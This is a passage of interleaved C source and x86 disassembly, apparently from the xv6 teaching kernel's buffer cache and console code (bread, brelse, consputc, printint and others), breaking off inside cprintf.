80100032: ff e0 jmp *%eax
80100034: 66 90 xchg %ax,%ax
80100036: 66 90 xchg %ax,%ax
80100038: 66 90 xchg %ax,%ax
8010003a: 66 90 xchg %ax,%ax
8010003c: 66 90 xchg %ax,%ax
8010003e: 66 90 xchg %ax,%ax
80100040 <binit>:
struct buf head;
} bcache;
void
binit(void)
{
80100040: 55 push %ebp
80100041: 89 e5 mov %esp,%ebp
80100043: 53 push %ebx
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100044: bb f4 b5 10 80 mov $0x8010b5f4,%ebx
{
80100049: 83 ec 14 sub $0x14,%esp
initlock(&bcache.lock, "bcache");
8010004c: c7 44 24 04 40 6e 10 movl $0x80106e40,0x4(%esp)
80100053: 80
80100054: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
8010005b: e8 e0 3f 00 00 call 80104040 <initlock>
bcache.head.next = &bcache.head;
80100060: ba bc fc 10 80 mov $0x8010fcbc,%edx
bcache.head.prev = &bcache.head;
80100065: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c
8010006c: fc 10 80
bcache.head.next = &bcache.head;
8010006f: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10
80100076: fc 10 80
80100079: eb 09 jmp 80100084 <binit+0x44>
8010007b: 90 nop
8010007c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100080: 89 da mov %ebx,%edx
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100082: 89 c3 mov %eax,%ebx
80100084: 8d 43 0c lea 0xc(%ebx),%eax
b->next = bcache.head.next;
80100087: 89 53 54 mov %edx,0x54(%ebx)
b->prev = &bcache.head;
8010008a: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx)
initsleeplock(&b->lock, "buffer");
80100091: 89 04 24 mov %eax,(%esp)
80100094: c7 44 24 04 47 6e 10 movl $0x80106e47,0x4(%esp)
8010009b: 80
8010009c: e8 8f 3e 00 00 call 80103f30 <initsleeplock>
bcache.head.next->prev = b;
801000a1: a1 10 fd 10 80 mov 0x8010fd10,%eax
801000a6: 89 58 50 mov %ebx,0x50(%eax)
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000a9: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax
801000af: 3d bc fc 10 80 cmp $0x8010fcbc,%eax
bcache.head.next = b;
801000b4: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000ba: 75 c4 jne 80100080 <binit+0x40>
}
}
801000bc: 83 c4 14 add $0x14,%esp
801000bf: 5b pop %ebx
801000c0: 5d pop %ebp
801000c1: c3 ret
801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801000d0 <bread>:
}
// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
801000d0: 55 push %ebp
801000d1: 89 e5 mov %esp,%ebp
801000d3: 57 push %edi
801000d4: 56 push %esi
801000d5: 53 push %ebx
801000d6: 83 ec 1c sub $0x1c,%esp
801000d9: 8b 75 08 mov 0x8(%ebp),%esi
acquire(&bcache.lock);
801000dc: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
{
801000e3: 8b 7d 0c mov 0xc(%ebp),%edi
acquire(&bcache.lock);
801000e6: e8 45 40 00 00 call 80104130 <acquire>
for(b = bcache.head.next; b != &bcache.head; b = b->next){
801000eb: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx
801000f1: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
801000f7: 75 12 jne 8010010b <bread+0x3b>
801000f9: eb 25 jmp 80100120 <bread+0x50>
801000fb: 90 nop
801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100100: 8b 5b 54 mov 0x54(%ebx),%ebx
80100103: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
80100109: 74 15 je 80100120 <bread+0x50>
if(b->dev == dev && b->blockno == blockno){
8010010b: 3b 73 04 cmp 0x4(%ebx),%esi
8010010e: 75 f0 jne 80100100 <bread+0x30>
80100110: 3b 7b 08 cmp 0x8(%ebx),%edi
80100113: 75 eb jne 80100100 <bread+0x30>
b->refcnt++;
80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx)
80100119: eb 3f jmp 8010015a <bread+0x8a>
8010011b: 90 nop
8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100120: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx
80100126: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
8010012c: 75 0d jne 8010013b <bread+0x6b>
8010012e: eb 58 jmp 80100188 <bread+0xb8>
80100130: 8b 5b 50 mov 0x50(%ebx),%ebx
80100133: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
80100139: 74 4d je 80100188 <bread+0xb8>
if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) {
8010013b: 8b 43 4c mov 0x4c(%ebx),%eax
8010013e: 85 c0 test %eax,%eax
80100140: 75 ee jne 80100130 <bread+0x60>
80100142: f6 03 04 testb $0x4,(%ebx)
80100145: 75 e9 jne 80100130 <bread+0x60>
b->dev = dev;
80100147: 89 73 04 mov %esi,0x4(%ebx)
b->blockno = blockno;
8010014a: 89 7b 08 mov %edi,0x8(%ebx)
b->flags = 0;
8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx)
b->refcnt = 1;
80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
release(&bcache.lock);
8010015a: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
80100161: e8 ba 40 00 00 call 80104220 <release>
acquiresleep(&b->lock);
80100166: 8d 43 0c lea 0xc(%ebx),%eax
80100169: 89 04 24 mov %eax,(%esp)
8010016c: e8 ff 3d 00 00 call 80103f70 <acquiresleep>
struct buf *b;
b = bget(dev, blockno);
if((b->flags & B_VALID) == 0) {
80100171: f6 03 02 testb $0x2,(%ebx)
80100174: 75 08 jne 8010017e <bread+0xae>
iderw(b);
80100176: 89 1c 24 mov %ebx,(%esp)
80100179: e8 92 1f 00 00 call 80102110 <iderw>
}
return b;
}
8010017e: 83 c4 1c add $0x1c,%esp
80100181: 89 d8 mov %ebx,%eax
80100183: 5b pop %ebx
80100184: 5e pop %esi
80100185: 5f pop %edi
80100186: 5d pop %ebp
80100187: c3 ret
panic("bget: no buffers");
80100188: c7 04 24 4e 6e 10 80 movl $0x80106e4e,(%esp)
8010018f: e8 cc 01 00 00 call 80100360 <panic>
80100194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010019a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801001a0 <bwrite>:
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
801001a0: 55 push %ebp
801001a1: 89 e5 mov %esp,%ebp
801001a3: 53 push %ebx
801001a4: 83 ec 14 sub $0x14,%esp
801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001aa: 8d 43 0c lea 0xc(%ebx),%eax
801001ad: 89 04 24 mov %eax,(%esp)
801001b0: e8 5b 3e 00 00 call 80104010 <holdingsleep>
801001b5: 85 c0 test %eax,%eax
801001b7: 74 10 je 801001c9 <bwrite+0x29>
panic("bwrite");
b->flags |= B_DIRTY;
801001b9: 83 0b 04 orl $0x4,(%ebx)
iderw(b);
801001bc: 89 5d 08 mov %ebx,0x8(%ebp)
}
801001bf: 83 c4 14 add $0x14,%esp
801001c2: 5b pop %ebx
801001c3: 5d pop %ebp
iderw(b);
801001c4: e9 47 1f 00 00 jmp 80102110 <iderw>
panic("bwrite");
801001c9: c7 04 24 5f 6e 10 80 movl $0x80106e5f,(%esp)
801001d0: e8 8b 01 00 00 call 80100360 <panic>
801001d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801001e0 <brelse>:
// Release a locked buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
801001e0: 55 push %ebp
801001e1: 89 e5 mov %esp,%ebp
801001e3: 56 push %esi
801001e4: 53 push %ebx
801001e5: 83 ec 10 sub $0x10,%esp
801001e8: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001eb: 8d 73 0c lea 0xc(%ebx),%esi
801001ee: 89 34 24 mov %esi,(%esp)
801001f1: e8 1a 3e 00 00 call 80104010 <holdingsleep>
801001f6: 85 c0 test %eax,%eax
801001f8: 74 5b je 80100255 <brelse+0x75>
panic("brelse");
releasesleep(&b->lock);
801001fa: 89 34 24 mov %esi,(%esp)
801001fd: e8 ce 3d 00 00 call 80103fd0 <releasesleep>
acquire(&bcache.lock);
80100202: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
80100209: e8 22 3f 00 00 call 80104130 <acquire>
b->refcnt--;
if (b->refcnt == 0) {
8010020e: 83 6b 4c 01 subl $0x1,0x4c(%ebx)
80100212: 75 2f jne 80100243 <brelse+0x63>
// no one is waiting for it.
b->next->prev = b->prev;
80100214: 8b 43 54 mov 0x54(%ebx),%eax
80100217: 8b 53 50 mov 0x50(%ebx),%edx
8010021a: 89 50 50 mov %edx,0x50(%eax)
b->prev->next = b->next;
8010021d: 8b 43 50 mov 0x50(%ebx),%eax
80100220: 8b 53 54 mov 0x54(%ebx),%edx
80100223: 89 50 54 mov %edx,0x54(%eax)
b->next = bcache.head.next;
80100226: a1 10 fd 10 80 mov 0x8010fd10,%eax
b->prev = &bcache.head;
8010022b: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx)
b->next = bcache.head.next;
80100232: 89 43 54 mov %eax,0x54(%ebx)
bcache.head.next->prev = b;
80100235: a1 10 fd 10 80 mov 0x8010fd10,%eax
8010023a: 89 58 50 mov %ebx,0x50(%eax)
bcache.head.next = b;
8010023d: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10
}
release(&bcache.lock);
80100243: c7 45 08 c0 b5 10 80 movl $0x8010b5c0,0x8(%ebp)
}
8010024a: 83 c4 10 add $0x10,%esp
8010024d: 5b pop %ebx
8010024e: 5e pop %esi
8010024f: 5d pop %ebp
release(&bcache.lock);
80100250: e9 cb 3f 00 00 jmp 80104220 <release>
panic("brelse");
80100255: c7 04 24 66 6e 10 80 movl $0x80106e66,(%esp)
8010025c: e8 ff 00 00 00 call 80100360 <panic>
80100261: 66 90 xchg %ax,%ax
80100263: 66 90 xchg %ax,%ax
80100265: 66 90 xchg %ax,%ax
80100267: 66 90 xchg %ax,%ax
80100269: 66 90 xchg %ax,%ax
8010026b: 66 90 xchg %ax,%ax
8010026d: 66 90 xchg %ax,%ax
8010026f: 90 nop
80100270 <consoleread>:
}
}
int
consoleread(struct inode *ip, char *dst, int n)
{
80100270: 55 push %ebp
80100271: 89 e5 mov %esp,%ebp
80100273: 57 push %edi
80100274: 56 push %esi
80100275: 53 push %ebx
80100276: 83 ec 1c sub $0x1c,%esp
80100279: 8b 7d 08 mov 0x8(%ebp),%edi
8010027c: 8b 75 0c mov 0xc(%ebp),%esi
uint target;
int c;
iunlock(ip);
8010027f: 89 3c 24 mov %edi,(%esp)
80100282: e8 f9 14 00 00 call 80101780 <iunlock>
target = n;
acquire(&cons.lock);
80100287: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010028e: e8 9d 3e 00 00 call 80104130 <acquire>
while(n > 0){
80100293: 8b 55 10 mov 0x10(%ebp),%edx
80100296: 85 d2 test %edx,%edx
80100298: 0f 8e bc 00 00 00 jle 8010035a <consoleread+0xea>
8010029e: 8b 5d 10 mov 0x10(%ebp),%ebx
801002a1: eb 25 jmp 801002c8 <consoleread+0x58>
801002a3: 90 nop
801002a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(input.r == input.w){
if(myproc()->killed){
801002a8: e8 e3 33 00 00 call 80103690 <myproc>
801002ad: 8b 40 24 mov 0x24(%eax),%eax
801002b0: 85 c0 test %eax,%eax
801002b2: 75 74 jne 80100328 <consoleread+0xb8>
release(&cons.lock);
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
801002b4: c7 44 24 04 20 a5 10 movl $0x8010a520,0x4(%esp)
801002bb: 80
801002bc: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp)
801002c3: e8 28 39 00 00 call 80103bf0 <sleep>
while(input.r == input.w){
801002c8: a1 a0 ff 10 80 mov 0x8010ffa0,%eax
801002cd: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801002d3: 74 d3 je 801002a8 <consoleread+0x38>
}
c = input.buf[input.r++ % INPUT_BUF];
801002d5: 8d 50 01 lea 0x1(%eax),%edx
801002d8: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0
801002de: 89 c2 mov %eax,%edx
801002e0: 83 e2 7f and $0x7f,%edx
801002e3: 0f b6 8a 20 ff 10 80 movzbl -0x7fef00e0(%edx),%ecx
801002ea: 0f be d1 movsbl %cl,%edx
if(c == C('D')){ // EOF
801002ed: 83 fa 04 cmp $0x4,%edx
801002f0: 74 57 je 80100349 <consoleread+0xd9>
// caller gets a 0-byte result.
input.r--;
}
break;
}
*dst++ = c;
801002f2: 83 c6 01 add $0x1,%esi
--n;
801002f5: 83 eb 01 sub $0x1,%ebx
if(c == '\n')
801002f8: 83 fa 0a cmp $0xa,%edx
*dst++ = c;
801002fb: 88 4e ff mov %cl,-0x1(%esi)
if(c == '\n')
801002fe: 74 53 je 80100353 <consoleread+0xe3>
while(n > 0){
80100300: 85 db test %ebx,%ebx
80100302: 75 c4 jne 801002c8 <consoleread+0x58>
80100304: 8b 45 10 mov 0x10(%ebp),%eax
break;
}
release(&cons.lock);
80100307: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010030e: 89 45 e4 mov %eax,-0x1c(%ebp)
80100311: e8 0a 3f 00 00 call 80104220 <release>
ilock(ip);
80100316: 89 3c 24 mov %edi,(%esp)
80100319: e8 82 13 00 00 call 801016a0 <ilock>
8010031e: 8b 45 e4 mov -0x1c(%ebp),%eax
return target - n;
80100321: eb 1e jmp 80100341 <consoleread+0xd1>
80100323: 90 nop
80100324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
release(&cons.lock);
80100328: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010032f: e8 ec 3e 00 00 call 80104220 <release>
ilock(ip);
80100334: 89 3c 24 mov %edi,(%esp)
80100337: e8 64 13 00 00 call 801016a0 <ilock>
return -1;
8010033c: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100341: 83 c4 1c add $0x1c,%esp
80100344: 5b pop %ebx
80100345: 5e pop %esi
80100346: 5f pop %edi
80100347: 5d pop %ebp
80100348: c3 ret
if(n < target){
80100349: 39 5d 10 cmp %ebx,0x10(%ebp)
8010034c: 76 05 jbe 80100353 <consoleread+0xe3>
input.r--;
8010034e: a3 a0 ff 10 80 mov %eax,0x8010ffa0
80100353: 8b 45 10 mov 0x10(%ebp),%eax
80100356: 29 d8 sub %ebx,%eax
80100358: eb ad jmp 80100307 <consoleread+0x97>
while(n > 0){
8010035a: 31 c0 xor %eax,%eax
8010035c: eb a9 jmp 80100307 <consoleread+0x97>
8010035e: 66 90 xchg %ax,%ax
80100360 <panic>:
{
80100360: 55 push %ebp
80100361: 89 e5 mov %esp,%ebp
80100363: 56 push %esi
80100364: 53 push %ebx
80100365: 83 ec 40 sub $0x40,%esp
}
static inline void
cli(void)
{
asm volatile("cli");
80100368: fa cli
cons.locking = 0;
80100369: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554
80100370: 00 00 00
getcallerpcs(&s, pcs);
80100373: 8d 5d d0 lea -0x30(%ebp),%ebx
cprintf("lapicid %d: panic: ", lapicid());
80100376: e8 d5 23 00 00 call 80102750 <lapicid>
8010037b: 8d 75 f8 lea -0x8(%ebp),%esi
8010037e: c7 04 24 6d 6e 10 80 movl $0x80106e6d,(%esp)
80100385: 89 44 24 04 mov %eax,0x4(%esp)
80100389: e8 c2 02 00 00 call 80100650 <cprintf>
cprintf(s);
8010038e: 8b 45 08 mov 0x8(%ebp),%eax
80100391: 89 04 24 mov %eax,(%esp)
80100394: e8 b7 02 00 00 call 80100650 <cprintf>
cprintf("\n");
80100399: c7 04 24 67 78 10 80 movl $0x80107867,(%esp)
801003a0: e8 ab 02 00 00 call 80100650 <cprintf>
getcallerpcs(&s, pcs);
801003a5: 8d 45 08 lea 0x8(%ebp),%eax
801003a8: 89 5c 24 04 mov %ebx,0x4(%esp)
801003ac: 89 04 24 mov %eax,(%esp)
801003af: e8 ac 3c 00 00 call 80104060 <getcallerpcs>
801003b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
cprintf(" %p", pcs[i]);
801003b8: 8b 03 mov (%ebx),%eax
801003ba: 83 c3 04 add $0x4,%ebx
801003bd: c7 04 24 81 6e 10 80 movl $0x80106e81,(%esp)
801003c4: 89 44 24 04 mov %eax,0x4(%esp)
801003c8: e8 83 02 00 00 call 80100650 <cprintf>
for(i=0; i<10; i++)
801003cd: 39 f3 cmp %esi,%ebx
801003cf: 75 e7 jne 801003b8 <panic+0x58>
panicked = 1; // freeze other CPU
801003d1: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558
801003d8: 00 00 00
801003db: eb fe jmp 801003db <panic+0x7b>
801003dd: 8d 76 00 lea 0x0(%esi),%esi
801003e0 <consputc>:
if(panicked){
801003e0: 8b 15 58 a5 10 80 mov 0x8010a558,%edx
801003e6: 85 d2 test %edx,%edx
801003e8: 74 06 je 801003f0 <consputc+0x10>
801003ea: fa cli
801003eb: eb fe jmp 801003eb <consputc+0xb>
801003ed: 8d 76 00 lea 0x0(%esi),%esi
{
801003f0: 55 push %ebp
801003f1: 89 e5 mov %esp,%ebp
801003f3: 57 push %edi
801003f4: 56 push %esi
801003f5: 53 push %ebx
801003f6: 89 c3 mov %eax,%ebx
801003f8: 83 ec 1c sub $0x1c,%esp
if(c == BACKSPACE){
801003fb: 3d 00 01 00 00 cmp $0x100,%eax
80100400: 0f 84 ac 00 00 00 je 801004b2 <consputc+0xd2>
uartputc(c);
80100406: 89 04 24 mov %eax,(%esp)
80100409: e8 72 54 00 00 call 80105880 <uartputc>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010040e: bf d4 03 00 00 mov $0x3d4,%edi
80100413: b8 0e 00 00 00 mov $0xe,%eax
80100418: 89 fa mov %edi,%edx
8010041a: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010041b: be d5 03 00 00 mov $0x3d5,%esi
80100420: 89 f2 mov %esi,%edx
80100422: ec in (%dx),%al
pos = inb(CRTPORT+1) << 8;
80100423: 0f b6 c8 movzbl %al,%ecx
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100426: 89 fa mov %edi,%edx
80100428: c1 e1 08 shl $0x8,%ecx
8010042b: b8 0f 00 00 00 mov $0xf,%eax
80100430: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80100431: 89 f2 mov %esi,%edx
80100433: ec in (%dx),%al
pos |= inb(CRTPORT+1);
80100434: 0f b6 c0 movzbl %al,%eax
80100437: 09 c1 or %eax,%ecx
if(c == '\n')
80100439: 83 fb 0a cmp $0xa,%ebx
8010043c: 0f 84 0d 01 00 00 je 8010054f <consputc+0x16f>
else if(c == BACKSPACE){
80100442: 81 fb 00 01 00 00 cmp $0x100,%ebx
80100448: 0f 84 e8 00 00 00 je 80100536 <consputc+0x156>
crt[pos++] = (c&0xff) | 0x0700; // black on white
8010044e: 0f b6 db movzbl %bl,%ebx
80100451: 80 cf 07 or $0x7,%bh
80100454: 8d 79 01 lea 0x1(%ecx),%edi
80100457: 66 89 9c 09 00 80 0b mov %bx,-0x7ff48000(%ecx,%ecx,1)
8010045e: 80
if(pos < 0 || pos > 25*80)
8010045f: 81 ff d0 07 00 00 cmp $0x7d0,%edi
80100465: 0f 87 bf 00 00 00 ja 8010052a <consputc+0x14a>
if((pos/80) >= 24){ // Scroll up.
8010046b: 81 ff 7f 07 00 00 cmp $0x77f,%edi
80100471: 7f 68 jg 801004db <consputc+0xfb>
80100473: 89 f8 mov %edi,%eax
80100475: 89 fb mov %edi,%ebx
80100477: c1 e8 08 shr $0x8,%eax
8010047a: 89 c6 mov %eax,%esi
8010047c: 8d 8c 3f 00 80 0b 80 lea -0x7ff48000(%edi,%edi,1),%ecx
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100483: bf d4 03 00 00 mov $0x3d4,%edi
80100488: b8 0e 00 00 00 mov $0xe,%eax
8010048d: 89 fa mov %edi,%edx
8010048f: ee out %al,(%dx)
80100490: 89 f0 mov %esi,%eax
80100492: b2 d5 mov $0xd5,%dl
80100494: ee out %al,(%dx)
80100495: b8 0f 00 00 00 mov $0xf,%eax
8010049a: 89 fa mov %edi,%edx
8010049c: ee out %al,(%dx)
8010049d: 89 d8 mov %ebx,%eax
8010049f: b2 d5 mov $0xd5,%dl
801004a1: ee out %al,(%dx)
crt[pos] = ' ' | 0x0700;
801004a2: b8 20 07 00 00 mov $0x720,%eax
801004a7: 66 89 01 mov %ax,(%ecx)
}
801004aa: 83 c4 1c add $0x1c,%esp
801004ad: 5b pop %ebx
801004ae: 5e pop %esi
801004af: 5f pop %edi
801004b0: 5d pop %ebp
801004b1: c3 ret
uartputc('\b'); uartputc(' '); uartputc('\b');
801004b2: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801004b9: e8 c2 53 00 00 call 80105880 <uartputc>
801004be: c7 04 24 20 00 00 00 movl $0x20,(%esp)
801004c5: e8 b6 53 00 00 call 80105880 <uartputc>
801004ca: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801004d1: e8 aa 53 00 00 call 80105880 <uartputc>
801004d6: e9 33 ff ff ff jmp 8010040e <consputc+0x2e>
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004db: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp)
801004e2: 00
pos -= 80;
801004e3: 8d 5f b0 lea -0x50(%edi),%ebx
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004e6: c7 44 24 04 a0 80 0b movl $0x800b80a0,0x4(%esp)
801004ed: 80
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
801004ee: 8d b4 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%esi
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004f5: c7 04 24 00 80 0b 80 movl $0x800b8000,(%esp)
801004fc: e8 0f 3e 00 00 call 80104310 <memmove>
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
80100501: b8 d0 07 00 00 mov $0x7d0,%eax
80100506: 29 f8 sub %edi,%eax
80100508: 01 c0 add %eax,%eax
8010050a: 89 34 24 mov %esi,(%esp)
8010050d: 89 44 24 08 mov %eax,0x8(%esp)
80100511: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80100518: 00
80100519: e8 52 3d 00 00 call 80104270 <memset>
8010051e: 89 f1 mov %esi,%ecx
80100520: be 07 00 00 00 mov $0x7,%esi
80100525: e9 59 ff ff ff jmp 80100483 <consputc+0xa3>
panic("pos under/overflow");
8010052a: c7 04 24 85 6e 10 80 movl $0x80106e85,(%esp)
80100531: e8 2a fe ff ff call 80100360 <panic>
if(pos > 0) --pos;
80100536: 85 c9 test %ecx,%ecx
80100538: 8d 79 ff lea -0x1(%ecx),%edi
8010053b: 0f 85 1e ff ff ff jne 8010045f <consputc+0x7f>
80100541: b9 00 80 0b 80 mov $0x800b8000,%ecx
80100546: 31 db xor %ebx,%ebx
80100548: 31 f6 xor %esi,%esi
8010054a: e9 34 ff ff ff jmp 80100483 <consputc+0xa3>
pos += 80 - pos%80;
8010054f: 89 c8 mov %ecx,%eax
80100551: ba 67 66 66 66 mov $0x66666667,%edx
80100556: f7 ea imul %edx
80100558: c1 ea 05 shr $0x5,%edx
8010055b: 8d 04 92 lea (%edx,%edx,4),%eax
8010055e: c1 e0 04 shl $0x4,%eax
80100561: 8d 78 50 lea 0x50(%eax),%edi
80100564: e9 f6 fe ff ff jmp 8010045f <consputc+0x7f>
80100569: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100570 <printint>:
{
80100570: 55 push %ebp
80100571: 89 e5 mov %esp,%ebp
80100573: 57 push %edi
80100574: 56 push %esi
80100575: 89 d6 mov %edx,%esi
80100577: 53 push %ebx
80100578: 83 ec 1c sub $0x1c,%esp
if(sign && (sign = xx < 0))
8010057b: 85 c9 test %ecx,%ecx
8010057d: 74 61 je 801005e0 <printint+0x70>
8010057f: 85 c0 test %eax,%eax
80100581: 79 5d jns 801005e0 <printint+0x70>
x = -xx;
80100583: f7 d8 neg %eax
80100585: bf 01 00 00 00 mov $0x1,%edi
i = 0;
8010058a: 31 c9 xor %ecx,%ecx
8010058c: eb 04 jmp 80100592 <printint+0x22>
8010058e: 66 90 xchg %ax,%ax
buf[i++] = digits[x % base];
80100590: 89 d9 mov %ebx,%ecx
80100592: 31 d2 xor %edx,%edx
80100594: f7 f6 div %esi
80100596: 8d 59 01 lea 0x1(%ecx),%ebx
80100599: 0f b6 92 b0 6e 10 80 movzbl -0x7fef9150(%edx),%edx
}while((x /= base) != 0);
801005a0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
801005a2: 88 54 1d d7 mov %dl,-0x29(%ebp,%ebx,1)
}while((x /= base) != 0);
801005a6: 75 e8 jne 80100590 <printint+0x20>
if(sign)
801005a8: 85 ff test %edi,%edi
buf[i++] = digits[x % base];
801005aa: 89 d8 mov %ebx,%eax
if(sign)
801005ac: 74 08 je 801005b6 <printint+0x46>
buf[i++] = '-';
801005ae: 8d 59 02 lea 0x2(%ecx),%ebx
801005b1: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
while(--i >= 0)
801005b6: 83 eb 01 sub $0x1,%ebx
801005b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
consputc(buf[i]);
801005c0: 0f be 44 1d d8 movsbl -0x28(%ebp,%ebx,1),%eax
while(--i >= 0)
801005c5: 83 eb 01 sub $0x1,%ebx
consputc(buf[i]);
801005c8: e8 13 fe ff ff call 801003e0 <consputc>
while(--i >= 0)
801005cd: 83 fb ff cmp $0xffffffff,%ebx
801005d0: 75 ee jne 801005c0 <printint+0x50>
}
801005d2: 83 c4 1c add $0x1c,%esp
801005d5: 5b pop %ebx
801005d6: 5e pop %esi
801005d7: 5f pop %edi
801005d8: 5d pop %ebp
801005d9: c3 ret
801005da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
x = xx;
801005e0: 31 ff xor %edi,%edi
801005e2: eb a6 jmp 8010058a <printint+0x1a>
801005e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801005ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801005f0 <consolewrite>:
int
consolewrite(struct inode *ip, char *buf, int n)
{
801005f0: 55 push %ebp
801005f1: 89 e5 mov %esp,%ebp
801005f3: 57 push %edi
801005f4: 56 push %esi
801005f5: 53 push %ebx
801005f6: 83 ec 1c sub $0x1c,%esp
int i;
iunlock(ip);
801005f9: 8b 45 08 mov 0x8(%ebp),%eax
{
801005fc: 8b 75 10 mov 0x10(%ebp),%esi
iunlock(ip);
801005ff: 89 04 24 mov %eax,(%esp)
80100602: e8 79 11 00 00 call 80101780 <iunlock>
acquire(&cons.lock);
80100607: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010060e: e8 1d 3b 00 00 call 80104130 <acquire>
80100613: 8b 7d 0c mov 0xc(%ebp),%edi
for(i = 0; i < n; i++)
80100616: 85 f6 test %esi,%esi
80100618: 8d 1c 37 lea (%edi,%esi,1),%ebx
8010061b: 7e 12 jle 8010062f <consolewrite+0x3f>
8010061d: 8d 76 00 lea 0x0(%esi),%esi
consputc(buf[i] & 0xff);
80100620: 0f b6 07 movzbl (%edi),%eax
80100623: 83 c7 01 add $0x1,%edi
80100626: e8 b5 fd ff ff call 801003e0 <consputc>
for(i = 0; i < n; i++)
8010062b: 39 df cmp %ebx,%edi
8010062d: 75 f1 jne 80100620 <consolewrite+0x30>
release(&cons.lock);
8010062f: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100636: e8 e5 3b 00 00 call 80104220 <release>
ilock(ip);
8010063b: 8b 45 08 mov 0x8(%ebp),%eax
8010063e: 89 04 24 mov %eax,(%esp)
80100641: e8 5a 10 00 00 call 801016a0 <ilock>
return n;
}
80100646: 83 c4 1c add $0x1c,%esp
80100649: 89 f0 mov %esi,%eax
8010064b: 5b pop %ebx
8010064c: 5e pop %esi
8010064d: 5f pop %edi
8010064e: 5d pop %ebp
8010064f: c3 ret
80100650 <cprintf>:
{
80100650: 55 push %ebp
80100651: 89 e5 mov %esp,%ebp
80100653: 57 push %edi
80100654: 56 push %esi
80100655: 53 push %ebx
80100656: 83 ec 1c sub $0x1c,%esp
locking = cons.locking;
80100659: a1 54 a5 10 80 mov 0x8010a554,%eax
if(locking)
8010065e: 85 c0 test %eax,%eax
locking = cons.locking;
80100660: 89 45 e0 mov %eax,-0x20(%ebp)
if(locking)
80100663: 0f 85 27 01 00 00 jne 80100790 <cprintf+0x140>
if (fmt == 0)
80100669: 8b 45 08 mov 0x8(%ebp),%eax
